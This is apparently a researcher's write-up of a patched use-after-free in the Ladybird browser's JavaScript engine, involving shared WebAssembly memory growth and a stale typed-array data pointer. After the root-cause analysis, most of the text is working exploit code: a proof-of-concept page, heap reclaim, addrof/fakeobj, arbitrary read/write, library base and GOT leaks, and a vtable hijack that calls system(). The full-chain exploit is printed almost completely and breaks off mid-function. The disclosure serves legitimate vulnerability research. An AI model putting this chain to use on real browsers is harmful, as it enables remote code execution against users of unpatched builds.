tsune Help

Nightmare of the Javascript Optimization

Exploiting the LadyBird Browser w/ 0-day UAF

first, let me show you a RCE video

I'd like to appreciate for maintainers dealing in few days after I reported.

boring section

important: This bug has been patched.

GHSA-w89h-j2xg-c457

Security advisory: https://github.com/LadybirdBrowser/ladybird/security/advisories/GHSA-w89h-j2xg-c457

Screenshot_20260420_213728.png

funny section

1. The caching layer that underpins the UAF

The bug lives at the seam between three data structures that LibJS keeps in sync by hand: AK::ByteBuffer (raw storage), JS::ArrayBuffer / JS::DataBlock (spec-level wrapper), and JS::TypedArrayBase (the view with a pre-computed base pointer). Every one of them participates in the invariant that gets broken.

1.1 AK::ByteBuffer — small-buffer-optimised heap storage

AK/Forward.h: 67 fixes the inline capacity of ByteBuffer at 32 bytes:

Screenshot_20260420_215647.png

Its backing store is a union (AK/ByteBuffer.h:388-396):

Screenshot_20260420_215838.png

data() picks the right arm of that union (AK/ByteBuffer.h:141-145):

Screenshot_20260420_220006.png

Because one wasm page is 65536 bytes and the inline bound is 32, every wasm-backed ByteBuffer is always outline — data() is always m_outline_buffer. Resizing a ByteBuffer past its current capacity goes through the slow path at AK/ByteBuffer.h:362-386:

Screenshot_20260420_220207.png

Two facts from this snippet drive the UAF:

  • The ByteBuffer object itself is stable. this never moves; only its internal m_outline_buffer pointer is replaced.

  • The previous outline is kfree'd synchronously during the reallocation. Every raw pointer that was remembered as old_bb.data() is now dangling.

1.2 JS::DataBlock and the two flavours of backing

Libraries/LibJS/Runtime/ArrayBuffer.h:35-71:

Screenshot_20260420_221023.png

This is the whole type.

  • Variant::ByteBuffer — the ArrayBuffer owns its bytes. buffer() returns the owned storage; size() queries it directly.

  • Variant::UnownedFixedLengthByteBuffer — the bytes live elsewhere (wasm store, etc.). buffer is a pointer to an externally-owned AK::ByteBuffer, and size is a value captured at construction.

The deliberate asymmetry in size() — owned reads live from the buffer, unowned reads from the captured field — is what commit a2dc6c4bbb introduced so that old SharedArrayBuffer handles keep reporting the pre-grow byteLength forever (threads-proposal spec requirement, enforced by WPT grow.any.js subtest "Growing shared memory does not detach old buffer").

Two ArrayBuffer::create overloads pick between these variants (Libraries/LibJS/Runtime/ArrayBuffer.cpp:33-55):

Screenshot_20260420_221752.png

Every wasm-backed ArrayBuffer/SharedArrayBuffer goes through the pointer overload, so it always gets the UnownedFixedLengthByteBuffer variant.

Screenshot_20260421_143945.png

1.3 JS::TypedArrayBase::m_data

Libraries/LibJS/Runtime/TypedArray.h:45-110

Screenshot_20260420_222116.png
Screenshot_20260420_222048.png

The two rules the rest of the system depends on:

  1. Who writes m_data? Only update_cached_data_ptr() (from set_byte_offset/set_viewed_array_buffer) and set_cached_data_ptr() (called from detach_buffer).

  2. Who registers the view with the owning buffer? update_cached_data_ptr() itself, via m_viewed_array_buffer->register_cached_typed_array_view(*this).

Screenshot_20260421_190134.png

The registry is a weak set on the buffer (Libraries/LibJS/Runtime/ArrayBuffer.h:161):

Screenshot_20260420_222549.png

And the registration sink (Libraries/LibJS/Runtime/ArrayBuffer.cpp:264-267):

Screenshot_20260420_222623.png

So the cache has exactly two life-cycle events: created on view construction, nulled on detach. There is no third site.

1.4 The ABI contract with the AsmInterpreter

m_data's offset is exported to the hand-written asm interpreter via ./Libraries/LibJS/Bytecode/AsmInterpreter/gen_asm_offsets.cpp:346-352:

Screenshot_20260420_222816.png

asmint.asm consumes that symbol in two hot paths. GetByValue (asmint.asm:1719-1742)

Screenshot_20260420_222919.png

And PutByValue (asmint.asm:1480-1509):

Screenshot_20260420_223109.png
Screenshot_20260420_223145.png
  • The fast path does not go through viewed_array_buffer(). It reads the cache, bounds-checks against m_array_length, and dereferences. That's three memory touches vs. a seven-hop chase through ArrayBuffer → DataBlock → Variant<…>::visit → UnownedFixedLengthByteBuffer → ByteBuffer* → m_outline_buffer.

  • There is no detach check and no buffer re-validation on this path. A null m_data sends it to the slow path (branch_zero t5, .try_typed_array_slow), and that is the only correctness handle the fast path has. If m_data is non-null but stale, the asmint executes the load/store against freed memory.

Screenshot_20260421_193645.png

2. The shared path

The threads proposal forbids detaching a SAB. So the pre-patch shared-memory grow path sits inside the buffer->is_fixed_length() branch but cannot take the detach arm:

Libraries/LibWeb/WebAssembly/Memory.cpp:212-223

Screenshot_20260421_093356.png

But by the time that line runs, successful_grow_hook was already called from inside MemoryInstance::grow(), and the grow itself lives in Libraries/LibWasm/AbstractMachine/AbstractMachine.h:487-520

Screenshot_20260421_093555-1.png

Conclusion

Screenshot_20260421_204910.png

does ASAN detect this bug?

Answer: NO

The memory access of Array Buffer has optimized, accessing with handwritten assembly won't trigger ASAN.

poc

Screenshot_20260421_102448.png

leaked2==0xde, leaked3=0xad mean spray array reclaimed the uaf buffer, and a dangling pointer could read an overlapped object.

Also, corrupted_spray==0 means the first object sprayed overlapped with the uaf address, and that also proved the uaf write.

<!DOCTYPE html> <meta charset="utf-8"> <pre id="out"></pre> <script> function R(a, i) { return a[i]; } function W(a, i, v) { a[i] = v; } const SLOT = 65536; let mem = new WebAssembly.Memory({ shared: true, initial: 1, maximum: 256 }); let u8 = new Uint8Array(mem.buffer); for (let i = 0; i < 100000; i++) { W(u8, 0x11); R(u8); } mem.grow(16); let spray = new Array(4096); for (let i = 0; i < 4096; i++) { let s = new Uint8Array(SLOT); s.fill(0xA0 | (i & 0x1F)); s[0] = i & 0xff; s[1] = (i >> 8) & 0xff; s[2] = 0xDE; s[3] = 0xAD; spray[i] = s; } let leaked0 = R(u8,0); // uaf read let leaked1 = R(u8,1); // uaf read let leaked2 = R(u8,2); // uaf read let leaked3 = R(u8,3); // uaf read W(u8,0, 0xCC); // uaf write let who = -1; for (let i = 0; i < spray.length; i++) { if (spray[i][0] === 0xCC && (i & 0xff) !== 0xCC) { who = i; break; } } document.getElementById('out').textContent = "leaked0 = 0x" + leaked0.toString(16) + "\n" + "leaked1 = 0x" + leaked1.toString(16) + "\n" + "leaked2 = 0x" + leaked2.toString(16) + "\n" + "leaked3 = 0x" + leaked3.toString(16) + "\n" + "corrupted_spray = " + who + "\n" + "u8.byteLength = " + u8.byteLength + "\n" + "mem.buffer.length = " + mem.buffer.byteLength + "\n" + "u8.buffer===buffer = " + (u8.buffer === mem.buffer); </script>

exploit

Let's get what we have straight. In nuts shell, we have completely uaf read+write primitives.

Learning from v8 exploit, Overlapping FixedArray is the most common way to escalate uaf to other primitives such as addrof, fakeobj, aar, aaw.

trigger UAF

const m = new WebAssembly.Memory({initial:1,maximum:16,shared:true}); const v = new Uint32Array(m.buffer); m.grow(1);

v has the dangling pointer in m_data. Easily achievable uaf 32bit read/write via v.

1.1 reclaim critical object

const target = { _id: "TARGET_SENTINEL", magic: 0xCAFEBABE }; const rA = new Array(6500).fill(target);

new Array(6500).fill(target) puts 6500 Values into the Array's indexed-property buffer. In Ladybird that buffer is not Vector<Value>. It's a custom prefixed allocation at Libraries/LibJS/Runtime/Object.cpp:1725

Screenshot_20260422_002235.png
+0x00: capacity +0x04: padding +0x08: 64bit NaN-boxed Value 1. +0x10: 64bit NaN-boxed Value 2 +0x18: 64bit NaN-boxed Value 3 ....

By checking capacity and padding provides the confident of overlap

for (let k = 0; k < nmem; k++) { const v = views[k]; if ((v[0] >>> 0) !== 0x1E45) continue; if ((v[1] >>> 0) !== 0) continue; if ((v[3] >>> 16) !== 0xFFF9) continue; if ((v[5] >>> 16) !== 0xFFF9) continue; if ((v[7] >>> 16) !== 0xFFF9) continue; if (v[2] !== v[4] || v[2] !== v[6]) continue; if ((v[3]&0xFFFF) !== (v[5]&0xFFFF) || (v[3]&0xFFFF) !== (v[7]&0xFFFF)) continue; }

A JS::Value is 64 bits. Non-double values set the high 13 bits to a tag. Object tag = 0xFFF9_0000_0000_0000. The low 48 bits hold the raw Cell*. So storing target (a plain {_id, magic} object) into 64bit NaN-boxed value n writes:

rA[0] = 0xFFF9_HHHH_LLLL_LLLL where HHHH|LLLL_LLLL = &target ^^^^ ^^^^ ^^^^^^^^^ | | low 32 bits of target cell | high 16 bits of target cell tag

1.2 addrof

now, assembling addrof is too easy.

bytes_target = new Uint8Array(); rA[0] = bytes_target; const bt_lo = (vA[2] >>> 0) | 0; const bt_hi = (vA[3] & 0xFFFF) | 0; rA[0] = target; //restore

1.3 fakeobj

addrof alone isn't enough; to get AAR/AAW we need a controlled cell address to forge into a TypedArrayBase. That's what the second reclaim is for:

const dummyB = { _id: "DUMMY_B" }; const rB = new Array(6500).fill(dummyB);

vB's dangling region now spans rB's [cap=0x1E45][pad=0][Value 0]…. We overwrite vB[O4+0 .. O4+27] with a hand-rolled fake TypedArrayBase (128 B offset into the buffer, chosen to not clobber the capacity header and to land past any nearby sentinels). The key header words:

const O = 128, O4 = O >> 2; vB[O4 + 2] = 0x00080000; // m_bits_per_element / kind marker (Uint8) vB[O4 + 17] = 0x10000; // m_array_length = 65536 (gives us 64 KB R/W window) vB[O4 + 18] = 2; // ContentType::Number (or similar — enough to pass fast-path filter) vB[O4 + 23] = 0; // m_byte_offset = 0 // vB[O4+26..27] set per-access = target address for AAR/AAW

(vB is the second UAF Uint32Array)

1.4 Getting the address of the fake TA — the freelist trick

We still need to know where our planted bytes live so that we can NaN-box a Value pointing at them. That's what preSnapLo/Hi is for:

for (let k = 0; k < nmem; k++) { preSnapLo[k] = views[k][0]; preSnapHi[k] = views[k][1]; }

Right after kfree, mimalloc stores a freelist forward pointer in the first 8 bytes of each freed chunk. preSnap[k] snapshots that pointer through the dangling view — before we clobber it with a reclaim. Because mimalloc's freelist is LIFO and all 16 holes went back in one per-memory grow, the forward pointer from view kA's chunk points to a neighbouring freed chunk — empirically the one that ends up hosting rB (vB). So:

let kA = -1, B_lo = 0, B_hi = 0; for (const k of groupA) { const lo = preSnapLo[k] >>> 0, hi = preSnapHi[k] >>> 0; if (lo !== 0 || hi !== 0) { kA = k; B_lo = lo; B_hi = hi; break; } } const fakeTA_lo_u = (B_lo + O) >>> 0; const carry = (fakeTA_lo_u < B_lo) ? 1 : 0; const fakeTA_hi = (B_hi + carry) & 0xFFFF;

Planting vA[2] = fakeTA_lo; vA[3] = fakeTA_hiTag overwrites rA[0]'s NaN-boxed bits → next rA[0] read returns a forged Object value pointing at our fake TA. rA[0][i] now indexes into whatever vB[O4+26..27] points at -> escalating AAR/AAW.

function aar_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, out, nBytes) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, out, nBytes); } function aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, bytes, nBytes) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndWritePure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bytes, nBytes); }

1.6 RCE

1.6.1 get Pointer of Uin32Array Cell from addrof

rA[0] = bytes_target; const bt_lo = (vA[2] >>> 0) | 0; const bt_hi = (vA[3] & 0xFFFF) | 0; rA[0] = target; console.log("bytes_target cell = " + h48(bt_lo, bt_hi));

1.6.2 leak storage pointer from m_data

addPtr48_i32(bt_lo, bt_hi, 0x68, 0, tmp2); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); const bt_data_lo1 = ret2[0] | 0, bt_data_hi1 = ret2[1] | 0; console.log("bytes_target.m_data = " + h48(bt_data_lo1, bt_data_hi1)); if ((bt_data_lo1 | bt_data_hi1) === 0) return -2;

1.6.3 leak libjs address from vtable for JS::Uint8Array

*(CELL+0x0) points to the vtable.

Screenshot_20260422_010337.png
function find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, start_lo, start_hi, scratch8, ret2, maxPages, outBase2) { let lo = (start_lo & 0xFFFFF000) | 0; let hi = (start_hi & 0xFFFF) | 0; for (let i = 0; i < maxPages; i++) { aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, lo, hi, scratch8, ret2); if (ret2[0] === 0x464c457f) { outBase2[0] = lo; outBase2[1] = hi; return true; } const prev = lo >>> 0; lo = (lo - 0x1000) | 0; if ((lo >>> 0) > prev) hi = (hi - 1) & 0xFFFF; } return false; }

1.6.4 leak libc address by walking got

libjs has a got for libc in __cxa_atexit

0x70c90b580370|+0x1388|+625: 0x000070c9096471f0 <__cxa_atexit> -> 0xe5894855fa1e0ff3

1.6.5 falsify the vtable

In example, we can fire vtable->internal_get_prototype_of by `Object.getPrototypeOf()

Screenshot_20260422_011109.png
Screenshot_20260422_011503.png

So, which register can we control?

Screenshot_20260422_011615.png

(register dump after falsify CELL->vtable=0xabad1deadeadbeef)

Ok, now we have vtable address in rax.

I used 0x0056eb13: mov rdi, [rax]; mov rax, [rax+8]; mov rax, [rax+0x18]; jmp rax; in libjs.

With falsifying vtable like

/* fake_vtable+0x10: +0x00(0): bt_data+0x20 +0x08(1): bt_data +0x10(2): +0x18(3): system +0x20(4): command +0x28(5): */

Now we have arbitrary command execution!!

bytes_target_set64(bytes_target,0,bt_data_lo+0x20, bt_data_hi) bytes_target_set64(bytes_target,1,bt_data_lo, bt_data_hi) addPtr48_i32(libc2[0],libc2[1], 362320,0,tmp2) //system bytes_target_set64(bytes_target,3,tmp2[0], tmp2[1]) bytes_target_set64(bytes_target,4,0x6c61636b, 0x63) //kcalc addPtr48_i32(libjs_lo, libjs_hi, 0x0056eb13,0,tmp2) //gadget bytes_target_set64(bytes_target,8,tmp2[0],tmp2[1]) wb[0] = ((bt_data_lo>>0x00)&0xff); wb[1] = ((bt_data_lo>>0x08)&0xff); wb[2] = ((bt_data_lo>>0x10)&0xff); wb[3] = ((bt_data_lo>>0x18)&0xff); wb[4] = ((bt_data_hi>>0x00)&0xff); wb[5] = ((bt_data_hi>>0x08)&0xff); wb[6] = ((bt_data_hi>>0x10)&0xff); wb[7] = ((bt_data_hi>>0x18)&0xff); aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, wb, 8); //FIRE! console.log(Object.getPrototypeOf(bytes_target));

Run & debug script

BUILD_PRESET=Release ./Meta/ladybird.py run ladybird
sudo gdb -p $(pgrep -a WebContent | tail -1 | cut -d" " -f1)

Full-chain exploit

<!doctype html> <meta charset="utf-8" /> <pre id="out"></pre> <script> "use strict"; function h48(lo, hi) { return "0x" + ((hi>>>0).toString(16)) + (((lo|0)>>>0).toString(16).padStart(8, "0")); } function u32_at(buf, off) { return (buf[off] | (buf[off+1]<<8) | (buf[off+2]<<16) | (buf[off+3]<<24)) | 0; } function u16_at(buf, off) { return (buf[off] | (buf[off+1]<<8)) & 0xFFFF; } function addPtr48_i32(lo1, hi1, lo2, hi2, out) { const lo1u = lo1 >>> 0; const lo2u = lo2 >>> 0; const sum = lo1u + lo2u; const nlo = sum | 0; const carry = (sum > 0xFFFFFFFF) ? 1 : 0; const nhi = ((hi1 | 0) + (hi2 | 0) + carry) & 0xFFFF; out[0] = nlo; out[1] = nhi; } function setup(nmem) { const _mems = [], views = []; for (let i = 0; i < nmem; i++) { const m = new WebAssembly.Memory({initial:1,maximum:16,shared:true}); const v = new Uint32Array(m.buffer); m.grow(1); _mems.push(m); views.push(v); } const preSnapLo = new Uint32Array(nmem), preSnapHi = new Uint32Array(nmem); for (let k = 0; k < nmem; k++) { preSnapLo[k] = views[k][0] >>> 0; preSnapHi[k] = views[k][1] >>> 0; } const target = { _id: "TARGET_SENTINEL", magic: 0xCAFEBABE }; const rA = new Array(6500).fill(target); const groupA = []; for (let k = 0; k < nmem; k++) { const v = views[k]; if ((v[0] >>> 0) !== 0x1E45) continue; if ((v[1] >>> 0) !== 0) continue; if ((v[3] >>> 16) !== 0xFFF9) continue; if ((v[5] >>> 16) !== 0xFFF9) continue; if ((v[7] >>> 16) !== 0xFFF9) continue; if (v[2] !== v[4] || v[2] !== v[6]) continue; if ((v[3]&0xFFFF) !== (v[5]&0xFFFF) || (v[3]&0xFFFF) !== (v[7]&0xFFFF)) continue; groupA.push(k); } if (groupA.length === 0) return { ok: false, reason: "no groupA" }; let kA = -1, B_lo = 0, B_hi = 0; for (const k of groupA) { const lo = preSnapLo[k] >>> 0, hi = preSnapHi[k] >>> 0; if (lo !== 0 || hi !== 0) { kA = k; B_lo = lo; B_hi = hi; break; } } if (kA < 0) return { ok: false, reason: "starved freelist" }; const vA = views[kA]; const target_lo = vA[2] >>> 0; const target_hi = vA[3] & 0xFFFF; const dummyB = { _id: "DUMMY_B" }; const rB = new Array(6500).fill(dummyB); let vB = null, kB = -1; for (let k = 0; k < nmem; k++) { if (groupA.indexOf(k) !== -1) continue; const v = views[k]; if ((v[0] >>> 0) !== 0x1E45) continue; if ((v[1] >>> 0) !== 0) continue; if ((v[3] >>> 16) !== 0xFFF9) continue; if ((v[5] >>> 16) !== 0xFFF9) continue; if (v[2] !== v[4]) continue; if ((v[2] >>> 0) === target_lo && ((v[3] & 0xFFFF) >>> 0) === target_hi) continue; vB = v; kB = k; break; } if (!vB) return { ok: false, reason: "no groupB" }; const O = 128, O4 = O >> 2; for (let i = 0; i < 28; i++) vB[O4 + i] = 0; vB[O4 + 2] = 0x00080000; vB[O4 + 17] = 0x10000; vB[O4 + 18] = 2; vB[O4 + 23] = 0; const fakeTA_lo_u = (B_lo + O) >>> 0; const carry = (fakeTA_lo_u < B_lo) ? 1 : 0; const fakeTA_hi = (B_hi + carry) & 0xFFFF; return { ok: true, kA, kB, vA, vB, rA, rB, target, B_lo, B_hi, O, O4, target_lo: target_lo | 0, target_hi: target_hi | 0, fakeTA_lo: fakeTA_lo_u | 0, fakeTA_hiTag: (0xFFF90000 | fakeTA_hi) | 0, origLo: target_lo | 0, origHi: (0xFFF90000 | target_hi) | 0, _mems, }; } function setFakeDataAddrPure(vB, O4, addr_lo, addr_hi) { vB[O4 + 26] = addr_lo; vB[O4 + 27] = addr_hi; } function plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, out, nBytes) { vA[2] = fakeTA_lo; vA[3] = fakeTA_hiTag; const fakeTA = rA[0]; for (let i = 0; i < nBytes; i++) out[i] = fakeTA[i]; vA[2] = origLo; vA[3] = origHi; } function plantAndWritePure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bytes, nBytes) { vA[2] = fakeTA_lo; vA[3] = fakeTA_hiTag; const fakeTA = rA[0]; for (let i = 0; i < nBytes; i++) fakeTA[i] = bytes[i] | 0; vA[2] = origLo; vA[3] = origHi; } function aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, scratch8, ret2) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, scratch8, 8); ret2[0] = (scratch8[0] | (scratch8[1]<<8) | (scratch8[2]<<16) | (scratch8[3]<<24)) | 0; ret2[1] = (scratch8[4] | (scratch8[5]<<8) | (scratch8[6]<<16) | (scratch8[7]<<24)) | 0; } function aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, out, nBytes) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndReadPure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, out, nBytes); } function aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, addr_lo, addr_hi, bytes, nBytes) { setFakeDataAddrPure(vB, O4, addr_lo, addr_hi); plantAndWritePure(vA, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bytes, nBytes); } function find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, start_lo, start_hi, scratch8, ret2, maxPages, outBase2) { let lo = (start_lo & 0xFFFFF000) | 0; let hi = (start_hi & 0xFFFF) | 0; for (let i = 0; i < maxPages; i++) { aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, lo, hi, scratch8, ret2); if (ret2[0] === 0x464c457f) { outBase2[0] = lo; outBase2[1] = hi; return true; } const prev = lo >>> 0; lo = (lo - 0x1000) | 0; if ((lo >>> 0) > prev) hi = (hi - 1) & 0xFFFF; } return false; } function get_got_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, base_lo, base_hi, scratch, scratch8, ret2, tmp2, needle, outGot2, outRes2) { aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, base_lo, base_hi, scratch, 64); if (u32_at(scratch, 0) !== 0x464c457f) return -1; const e_phoff_lo = u32_at(scratch, 32); const e_phoff_hi = u32_at(scratch, 36) & 0xFFFF; const e_phentsize = u16_at(scratch, 54); const e_phnum = u16_at(scratch, 56); if (e_phentsize !== 56) return -2; addPtr48_i32(base_lo, base_hi, e_phoff_lo, e_phoff_hi, tmp2); const phdr_start_lo = tmp2[0], phdr_start_hi = tmp2[1]; let dyn_lo = 0, dyn_hi = 0; for (let i = 0; i < e_phnum; i++) { addPtr48_i32(phdr_start_lo, phdr_start_hi, (i * 56) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 56); const p_type = u32_at(scratch, 0); if (p_type === 2) { const p_vaddr_lo = u32_at(scratch, 16); const p_vaddr_hi = u32_at(scratch, 20) & 0xFFFF; addPtr48_i32(base_lo, base_hi, p_vaddr_lo, p_vaddr_hi, tmp2); dyn_lo = tmp2[0]; dyn_hi = tmp2[1]; break; } } if ((dyn_lo | dyn_hi) === 0) return -3; let strtab_lo = 0, strtab_hi = 0; let symtab_lo = 0, symtab_hi = 0; let jmprel_lo = 0, jmprel_hi = 0; let pltrelsz = 0; for (let i = 0; i < 256; i++) { addPtr48_i32(dyn_lo, dyn_hi, (i * 16) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 16); const d_tag_lo = u32_at(scratch, 0); const d_tag_hi = u32_at(scratch, 4); const d_val_lo = u32_at(scratch, 8); const d_val_hi = u32_at(scratch, 12) & 0xFFFF; if ((d_tag_lo | d_tag_hi) === 0) break; if (d_tag_hi !== 0) continue; switch (d_tag_lo | 0) { case 5: strtab_lo = d_val_lo; strtab_hi = d_val_hi; break; case 6: symtab_lo = d_val_lo; symtab_hi = d_val_hi; break; case 23: jmprel_lo = d_val_lo; jmprel_hi = d_val_hi; break; case 2: pltrelsz = d_val_lo; break; } } if (strtab_hi === 0 && (strtab_lo >>> 0) < 0x1000000) { addPtr48_i32(base_lo, base_hi, strtab_lo, strtab_hi, tmp2); strtab_lo = tmp2[0]; strtab_hi = tmp2[1]; } if (symtab_hi === 0 && (symtab_lo >>> 0) < 0x1000000) { addPtr48_i32(base_lo, base_hi, symtab_lo, symtab_hi, tmp2); symtab_lo = tmp2[0]; symtab_hi = tmp2[1]; } if (jmprel_hi === 0 && (jmprel_lo >>> 0) < 0x1000000) { addPtr48_i32(base_lo, base_hi, jmprel_lo, jmprel_hi, tmp2); jmprel_lo = tmp2[0]; jmprel_hi = tmp2[1]; } if (((strtab_lo|strtab_hi) | (symtab_lo|symtab_hi) | (jmprel_lo|jmprel_hi)) === 0 || pltrelsz === 0) return -4; const needle_len = needle.length; const needle_bytes = new Uint8Array(needle_len + 1); for (let i = 0; i < needle_len; i++) needle_bytes[i] = needle.charCodeAt(i); const nrela = (pltrelsz / 24) | 0; for (let i = 0; i < nrela; i++) { addPtr48_i32(jmprel_lo, jmprel_hi, (i * 24) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 24); const r_offset_lo = u32_at(scratch, 0); const r_offset_hi = u32_at(scratch, 4) & 0xFFFF; const r_info_low = u32_at(scratch, 8); const symidx = u32_at(scratch, 12); if (r_info_low !== 7) continue; addPtr48_i32(symtab_lo, symtab_hi, (symidx * 24) | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, 24); const st_name = u32_at(scratch, 0); addPtr48_i32(strtab_lo, strtab_hi, st_name | 0, 0, tmp2); aarN_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch, needle_len + 1); let match = true; for (let j = 0; j < needle_len; j++) { if (scratch[j] !== needle_bytes[j]) { match = false; break; } } if (match && scratch[needle_len] !== 0) match = false; if (!match) continue; addPtr48_i32(base_lo, base_hi, r_offset_lo, r_offset_hi, tmp2); outGot2[0] = tmp2[0]; outGot2[1] = tmp2[1]; aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, outRes2); return i; } return -5; } function bytes_target_set64(bytes_target, u64off, lo, hi) { bytes_target[u64off*8] = ((lo>>0x00)&0xff); bytes_target[u64off*8+1] = ((lo>>0x08)&0xff); bytes_target[u64off*8+2] = ((lo>>0x10)&0xff); bytes_target[u64off*8+3] = ((lo>>0x18)&0xff); bytes_target[u64off*8+4] = ((hi>>0x00)&0xff); bytes_target[u64off*8+5] = ((hi>>0x08)&0xff); bytes_target[u64off*8+6] = ((hi>>0x10)&0xff); bytes_target[u64off*8+7] = ((hi>>0x18)&0xff); } function runExploit(s, work) { const vA = s.vA, vB = s.vB, rA = s.rA, O4 = s.O4 | 0; const origLo = s.origLo | 0; const origHi = s.origHi | 0; const fakeTA_lo = s.fakeTA_lo | 0; const fakeTA_hiTag = s.fakeTA_hiTag | 0; const target_lo = s.target_lo | 0; const target_hi = s.target_hi | 0; const target = s.target; const scratch = work.scratch; const scratch8 = work.scratch8; const ret2 = work.ret2; const tmp2 = work.tmp2; const base2 = work.base2; const got2 = work.got2; const vt2 = work.vt2; const res2 = work.res2; const libc2 = work.libc2; const wb = work.wb; const f_vt = work.f_vt; const bytes_target = work.bytes_target; aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, target_lo, target_hi, scratch8, ret2); const vt_lo = ret2[0] | 0, vt_hi = ret2[1] | 0; console.log("vtable = " + h48(vt_lo, vt_hi)); if ((vt_lo | vt_hi) === 0) return -1; rA[0] = bytes_target; const bt_lo = (vA[2] >>> 0) | 0; const bt_hi = (vA[3] & 0xFFFF) | 0; rA[0] = target; console.log("bytes_target cell = " + h48(bt_lo, bt_hi)); addPtr48_i32(bt_lo, bt_hi, 104, 0, tmp2); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); const bt_data_lo1 = ret2[0] | 0, bt_data_hi1 = ret2[1] | 0; console.log("bytes_target.m_data = " + h48(bt_data_lo1, bt_data_hi1)); if ((bt_data_lo1 | bt_data_hi1) === 0) return -2; //wb[0] = 0xDE; wb[1] = 0xAD; wb[2] = 0xBE; wb[3] = 0xEF; //wb[4] = 0xDE; wb[5] = 0xAD; wb[6] = 0xBE; wb[7] = 0xEF; //aaw_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], wb, 8); //const crash = bytes_target[0]; //console.log(crash) if (!find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, vt_lo, vt_hi, scratch8, ret2, 65536, base2)) return -4; console.log("libjs base = " + h48(base2[0], base2[1])); const libjs_lo = base2[0] | 0, libjs_hi = base2[1] | 0; const r = get_got_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, libjs_lo, libjs_hi, scratch, scratch8, ret2, tmp2, "__cxa_atexit", got2, res2); if (r < 0) { console.log(" get_got failed: r=" + r); return -5; } console.log("__cxa_atexit GOT @ " + h48(got2[0], got2[1]) + " -> " + h48(res2[0], res2[1])); if (!find_base_pure(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, res2[0], res2[1], scratch8, ret2, 16384, libc2)) return -6; console.log("libc base = " + h48(libc2[0], libc2[1])); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, bt_lo, bt_hi, scratch8, vt2); console.log("vtable = " + h48(vt2[0], vt2[1])); addPtr48_i32(bt_lo, bt_hi, 104, 0, tmp2); aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); const bt_data_lo = ret2[0] | 0, bt_data_hi = ret2[1] | 0; console.log("bytes_target.m_data = " + h48(bt_data_lo, bt_data_hi)); if ((bt_data_lo | bt_data_hi) === 0) return -2; //for (let i=0;i<256;i+=8) { // addPtr48_i32(vt2[0],vt2[1], i,0,tmp2) // console.log("try: " + h48(tmp2[0], tmp2[1])) // aar64_into(vA, vB, O4, rA, origLo, origHi, fakeTA_lo, fakeTA_hiTag, tmp2[0], tmp2[1], scratch8, ret2); // console.log("[+] dumped: " + h48(ret2[0], ret2[1])) // if (ret2[0]===0x0 && ret2[1]==0x0) { // break // } // bytes_target_set64(bytes_target,i,ret2[0], ret2[1]) //} bytes_target_set64(bytes_target,0,bt_data_lo+0x20, bt_data_hi) bytes_target_set64(bytes_target,1,bt_data_lo, bt_data_hi) addPtr48_i32(libc2[0],libc2[1], 362320,0,tmp2) bytes_target_set64(bytes_target,3,tmp2[0], tmp2[1]) 